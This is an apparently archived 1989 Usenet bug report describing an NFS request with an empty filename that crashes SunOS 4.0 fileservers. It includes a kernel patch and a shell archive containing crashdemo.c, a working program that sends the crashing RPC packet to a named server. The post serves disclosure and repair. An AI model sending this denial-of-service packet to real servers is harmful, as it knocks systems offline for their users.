[comp.sys.sun] PC/NFS causes 'dirremove' panic in SunOS 4.0 fileserver

geertj@nluug.nl (Geert Jan de Groot) (04/19/89)

X-Post: comp.protocols.nfs

Hi,

We have had quite a bit of trouble with the new SUNOS 4.0 on one of our
fileservers. Frequently, the machine crashed with a 'panic: dirremove'
message, which caused a reboot.

After some monitoring, we discovered the crashes were caused by PC users,
using PC/NFS with WordPerfect 5.0. The exact sequence to generate the
crash is quite complex, but looking at the source of the kernel and
comparing it to 3.5, we found what the trouble might be.  In short, a NFS
call RFS_REMOVE with a zero-length file name argument directly causes a
crash.

Looking at the source (ufs/ufs_dir.c) we find:

dirremove(dp, namep, oip, rmdir)
	register struct inode *dp;
	char *namep;
	struct inode *oip;
	int rmdir;
{
	register struct direct *ep;
	struct direct *pep;
	struct inode *ip;
	int namlen;
	struct slot slot;
	int err = 0;

	namlen = strlen(namep);
---->	if (namlen == 0)
---->		panic("dirremove");

In the 3.5 source, this check is missing, so the problem is only with 4.0.

After monitoring the traffic between PC and server, we found that PC/NFS
sometimes does a RFS_REMOVE with zero-length filename, triggering a crash.
While it might be an illegal call (I don't know for shure), it certainly
should not _crash_ a server!
I made a small (and dirty) program which also triggers the bug. It is 
included at the end of this article.

Apperently, the kernel normally checks for empty filenames, but this check
does not include NFS calls. To overcome the problem, we changed
ufs/ufs_dir.c like this:

dirremove(dp, namep, oip, rmdir)
	register struct inode *dp;
	char *namep;
	struct inode *oip;
	int rmdir;
{
	register struct direct *ep;
	struct direct *pep;
	struct inode *ip;
	int namlen;
	struct slot slot;
	int err = 0;

	/* NFS call RFS_RMDIR goes to this routine, without checking
	 * if the filename is empty. Arriving here, an empty filename
	 * crashed the system.
	 */
	namlen = strlen(namep);
	if (namlen == 0)
#ifdef CRASH
		panic("dirremove");
#else
	{
		printf("dirremove: empty filename\n");
		return (EINVAL);
	}
#endif

People with SUNOS 4.0 sources can use these for SUNOS 4.0.1, because the
file ufs_dir.c apperently isn't changed for 4.0.1 (i.e. it compiles to the
same object module as the object module which came with 4.0.1. 

I hope this is clear enough.

Cheers,

Geert Jan

DISCLAIMER: Neither I nor my employer accept any responsability for
this fix. It seems to work here, but check out for yourself!

And here is an example to crash your server:

#! /bin/sh
# This is a shell archive.  Remove anything before this line, then unpack
# it by saving it into a file and typing "sh file".  To overwrite existing
# files, type "sh file -c".  You can also feed this as standard input via
# unshar, or by typing "sh <file", e.g..  If this archive is complete, you
# will see the following message at the end:
#		"End of shell archive."
# Contents:  crashdemo.c
# Wrapped by geertj@vulpen on Fri Mar 24 13:31:50 1989
PATH=/bin:/usr/bin:/usr/ucb ; export PATH
if test -f 'crashdemo.c' -a "${1}" != "-c" ; then 
  echo shar: Will not clobber existing file \"'crashdemo.c'\"
else
echo shar: Extracting \"'crashdemo.c'\" \(2896 characters\)
sed "s/^X//" >'crashdemo.c' <<'END_OF_FILE'
X/* crashdemo - CAUTION: likely to crash a 4.0 server! */
X
X/* This program sends a NFS RFS_RMDIR call to a server. If the filename
X * has zero length, this will crash a SUNOS 4.0 server with a
X * 'dirremove' panic.
X *
X * NFS requests like these are generated by PC/NFS with WordPerfect 5.0
X * The RPC call may be illegal, but should it _crash_ a server?
X *
X * This program is very dirty, uses magic constants all over the place.
X * Sorry, but I didn't have all the RPC/XDR manuals at hand (at home).
X */
X
X#include <stdio.h>
X#include <sys/types.h>
X#include <sys/socket.h>
X#include <netinet/in.h>
X#include <netdb.h>
X
Xmain()
X{
X	int s;
X	int domain;
X	int type;
X	int protocol;
X
X	int cc;
X	struct sockaddr_in sa;
X
X	struct hostent *hp;
X	struct servent *sp;
X
X	/* This array contains a RPC call, which is copied from ethernet.
X	 * The uid, gid etc has been set to bogus values for safety,
X	 * and the filename has been zeroed.
X	 */
X	static char data[] = {
X	0x00, 0x07, 0x07, 0x02, /*	int xid */
X	0x00, 0x00, 0x00, 0x00, /*	msg_type = 0 (CALL) */
X	0x00, 0x00, 0x00, 0x02, /*	uint rpcvers = 2 */
X	0x00, 0x01, 0x86, 0xa3, /*	uint prog = 100003 (NFS) */
X	0x00, 0x00, 0x00, 0x02, /*	uint vers = 2 */
X	0x00, 0x00, 0x00, 0x0f, /*	uint proc = 15 (NFSPROC_RMDIR) */
X	0x00, 0x00, 0x00, 0x01, /*	opaque_auth cred: */
X				/*	    auth_flavor = 1 (AUTH_UNIX) */
X	0x00, 0x00, 0x00, 0x24, /*		???? */
X	0x24, 0x29, 0x65, 0xc5, /*		uint stamp = xxxxxxxxx */
X	0x00, 0x00, 0x00, 0x06, /*		string(6): */
X	0x68, 0x61, 0x73, 0x70, /*		   "haspel" */
X	0x65, 0x6c, 0x00, 0x00, 
X	0x00, 0x00, 0x01, 0xff, /*		uint uid: 511 (bogus) */
X	0x00, 0x00, 0x01, 0x00, /*		uint gid: 256 (bogus) */
X	0x00, 0x00, 0x00, 0x02, /*		uint gids[2]: */
X	0x00, 0x00, 0x01, 0x00, /*		    256 (bogus) */
X	0x00, 0x00, 0x01, 0x01, /*		    257 (bogus2) */
X	0x00, 0x00, 0x00, 0x00, /*	opaque_auth verf: */
X				/*	    auth_flavor = 0 (AUTH_NULL) */
X	0x00, 0x00, 0x00, 0x00, /*	?????	 */
X	0x00, 0x00, 0x03, 0x0f, /* 	diropargs: opaque fhandle[32] = xxxxx */
X	0x00, 0x00, 0x00, 0x01, 
X	0x00, 0x08, 0x00, 0x00, 
X	0x78, 0x30, 0x2c, 0xa9, 
X	0xaf, 0xfd, 0x00, 0x00, 
X	0x00, 0x08, 0x00, 0x00, 
X	0x00, 0x02, 0x39, 0xd5, 
X	0xb2, 0x7e, 0x00, 0x00, 
X#ifdef NOTDEF /* normal packet with name */
X	0x00, 0x00, 0x00, 0x07, /*		string(6): */
X	0x74, 0x65, 0x73, 0x74, /* 		"testdir" */
X	0x64, 0x69, 0x72, 0x00,
X#else /* zero-length filename, crashes system */
X	0x00, 0x00, 0x00, 0x00, 
X#endif
X	};
X
X	domain = AF_INET;
X	type = SOCK_DGRAM;
X	protocol = 17; /* UDP */
X	s = socket(domain, type, protocol);
X	if (s < 0)
X		perror("socket");
X
X	if ((hp = gethostbyname("galm")) == NULL) {
X		printf("gethostbyname\n");
X		exit(1);
X	}
X	bcopy((char*) hp->h_addr, (char *) &sa.sin_addr, hp->h_length);
X	sa.sin_family = hp->h_addrtype;
X		
X	sa.sin_port = 2049;
X	cc = sendto(s, data, sizeof(data), 0, &sa, sizeof(sa));
X	if (cc != sizeof(data))
X		perror("sendto");
X	printf("sent %d bytes\n", cc);
X}
END_OF_FILE
if test 2896 -ne `wc -c <'crashdemo.c'`; then
    echo shar: \"'crashdemo.c'\" unpacked with wrong size!
fi
# end of 'crashdemo.c'
fi
echo shar: End of shell archive.
exit 0

--8<--snip-snip---------------------------------------------------------------

Geert Jan de Groot,			Email: geertj@nlgvax.pcg.philips.nl
Philips Research Laboratories,		       ..!mcvax!nlgvax!geertj
Project Centre Geldrop,			Ham: PE1HZG
Building XP, Room 4,
Willem Alexanderlaan 7B,		"MS-DOS is just a bootstrap" - me
5664 AN Geldrop, The Netherlands.
phone: +31 40 892204			[Standard disclaimers apply]